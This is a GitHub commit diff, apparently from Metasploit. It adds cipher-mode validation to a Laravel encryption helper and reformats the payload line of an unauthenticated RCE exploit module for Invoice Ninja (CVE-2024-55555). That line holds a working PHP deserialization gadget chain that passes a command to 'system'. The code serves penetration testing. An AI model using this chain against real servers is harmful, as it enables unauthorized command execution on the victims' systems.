Skip to content

Commit 79411ea

Browse files
committed
added code sugesstions from dledda-r7
1 parent 2d55f5c commit 79411ea

File tree

2 files changed

+20
-1
lines changed

2 files changed

+20
-1
lines changed

lib/msf/core/exploit/laravel_crypto_killer.rb

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,15 @@
1313
# Recoded in Ruby by h00die-gr3y (h00die.gr3y[at]gmail.com)
1414
###
1515
module Msf::Exploit::LaravelCryptoKiller
16+
# Check if cipher is valid
17+
# @param [String] <cipher_mode> The cipher_mode
18+
#
19+
# @return [Boolean] true if mode is ok or false if mode is not valid
20+
def valid_cipher?(cipher_mode)
21+
ciphers ||= OpenSSL::Cipher.ciphers
22+
ciphers.include?(cipher_mode.downcase)
23+
end
24+
1625
# Perform AES encryption in CBC mode (compatible with Laravel)
1726
# @param [String] <value> The value that will be encrypted
1827
# @param [String] <iv> The IV parameter used for encryption
@@ -21,6 +30,11 @@ module Msf::Exploit::LaravelCryptoKiller
2130
#
2231
# @return [String] The encrypted value or nil if unsuccessful
2332
def aes_encrypt(value, iv, key, cipher_mode)
33+
# Check cipher mode
34+
unless valid_cipher?(cipher_mode)
35+
vprint_error("Cipher is not valid: #{cipher_mode}")
36+
return
37+
end
2438
# Create a new AES cipher in CBC mode
2539
cipher = OpenSSL::Cipher.new(cipher_mode)
2640
cipher.encrypt
@@ -45,6 +59,11 @@ def aes_encrypt(value, iv, key, cipher_mode)
4559
#
4660
# @return [String] The decrypted value or nil if unsuccessful
4761
def aes_decrypt(encrypted_value, iv, key, cipher_mode)
62+
# Check cipher mode
63+
unless valid_cipher?(cipher_mode)
64+
vprint_error("Cipher is not valid: #{cipher_mode}")
65+
return
66+
end
4867
# Create AES cipher in CBC mode
4968
cipher = OpenSSL::Cipher.new(cipher_mode)
5069
cipher.decrypt

modules/exploits/linux/http/invoiceninja_unauth_rce_cve_2024_55555.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -149,7 +149,7 @@ def exploit
149149
pl = payload.encoded
150150
pl = "php -r \"#{payload.encoded.gsub('"', '\"').gsub('$', '\$')}\"" if target['Type'] == :php
151151
pl_len = pl.length
152-
laravel_payload = "a:2:{i:7;O:40:\"Illuminate\\Broadcasting\\PendingBroadcast\":1:{s:9:\"\x00*\x00events\";O:35:\"Illuminate\\Database\\DatabaseManager\":2:{s:6:\"\x00*\x00app\";a:1:{s:6:\"config\";a:2:{s:16:\"database.default\";s:6:\"system\";s:20:\"database.connections\";a:1:{s:6:\"system\";a:1:{i:0;s:#{pl_len}:\"#{pl}\";}}}}s:13:\"\x00*\x00extensions\";a:1:{s:6:\"system\";s:12:\"array_filter\";}}}i:7;i:7;}"
152+
laravel_payload = %(a:2:{i:7;O:40:"Illuminate\\Broadcasting\\PendingBroadcast":1:{s:9:"\x00*\x00events";O:35:"Illuminate\\Database\\DatabaseManager":2:{s:6:"\x00*\x00app";a:1:{s:6:"config";a:2:{s:16:"database.default";s:6:"system";s:20:"database.connections";a:1:{s:6:"system";a:1:{i:0;s:#{pl_len}:"#{pl}";}}}}s:13:"\x00*\x00extensions";a:1:{s:6:"system";s:12:"array_filter";}}}i:7;i:7;})
153153
b64_laravel_payload = Base64.strict_encode64(laravel_payload)
154154
laravel_cipher = laravel_encrypt(b64_laravel_payload, valid_app_key, cipher_mode)
155155
fail_with(Failure::BadConfig, 'Laravel encryption failed.') if laravel_cipher.nil?

0 commit comments

Comments
 (0)